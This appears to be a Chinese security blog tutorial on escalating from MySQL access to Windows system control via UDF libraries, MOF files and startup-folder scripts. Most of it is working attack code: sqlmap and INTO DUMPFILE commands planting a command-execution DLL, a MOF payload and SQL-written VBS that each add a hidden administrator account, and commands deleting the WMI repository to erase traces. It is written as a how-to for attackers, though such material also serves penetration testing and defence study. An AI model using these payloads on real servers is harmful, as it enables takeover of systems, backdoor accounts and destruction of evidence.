WEB安全--SQL注入--MySQL提权

一、UDF提权

1.1、UDF(user-defined function)

用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

1.2、什么情况下需使用mysql提权?

拥有mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限

1.3、条件

1、知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)

2、secure_file_priv的值为空

1.4、方式

1、创建/lib/plugin目录

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。

Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

Mysql版本小于5.1:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

并且目前绝大多数项目的数据库版本都大于5.1,所以我们以第一种方式来模拟:

php 复制代码
#NTFS ADS流创建语句

mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';  

#创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

2、导入动态链接库

那么这个dll文件在哪了?这两个文件在sqlmap和msf里面都有内置。

首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

解码命令:

python 复制代码
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

存在sql注入时我们可以通过sqlmap来上传动态链接库

python 复制代码
python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" 
--file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" 
--file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

没有sql注入时,我们可以通过执行sql语句INTO DUMPFILE来进行写入动态链接库

python 复制代码
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 
'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll'; 

动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

3、创建自定义函数

sql 复制代码
#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4、执行系统命令

sql 复制代码
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');


//output
administrator

二、MOF提权

2.1、原理

mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

但是现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。

2.2、vbs脚本

sql 复制代码
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")";   #创建用户
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

2.3、上传脚本到指定目录

sql 复制代码
select load_file("C:/Documents and Settings/suifeng.mof") 
into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";

2.4、mof提权痕迹清理

因为每隔5秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件:

sql 复制代码
#停止winmgmt服务
net stop winmgmt
#删除Repository文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
#重新启动服务
net start winmgmt

三、启动项提权

3.1、原理

通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

3.2、利用方式

启动项路径:

sql 复制代码
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

有了路径我们在mysql的shell下输入如下代码:

sql 复制代码
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

然后重启,即可发现vbs脚本里面创建的用户:

相关推荐
饮长安千年月1 小时前
JavaSec-SSTI - 模板引擎注入
java·windows·安全·web安全·网络安全·系统安全·安全架构
tonydf2 小时前
还在用旧的认证授权方案?快来试试现代化的OpenIddict!
后端·安全
☞无能盖世♛逞何英雄☜3 小时前
SSRF漏洞
安全·web安全
芯盾时代12 小时前
AI在网络安全领域的应用现状和实践
人工智能·安全·web安全·网络安全
银空飞羽14 小时前
再学学MCP间接提示词注入
安全·mcp·trae
安全系统学习17 小时前
【网络安全】漏洞分析:阿帕奇漏洞学习
java·网络·安全·web安全·系统安全
mooyuan天天1 天前
pikachu靶场通关笔记14 XSS关卡10-XSS之js输出(五种方法渗透)
安全·web安全·xss·pikachu靶场·xss漏洞
饮长安千年月1 天前
玄机-第六章 流量特征分析-蚂蚁爱上树
windows·计算机网络·web安全·网络安全·系统安全·安全架构
饮长安千年月1 天前
JavaSec-专题-反序列化
java·开发语言·web安全·网络安全·系统安全·可信计算技术·安全架构
conkl1 天前
Kali Linux 安全工具解析
linux·网络·安全·kali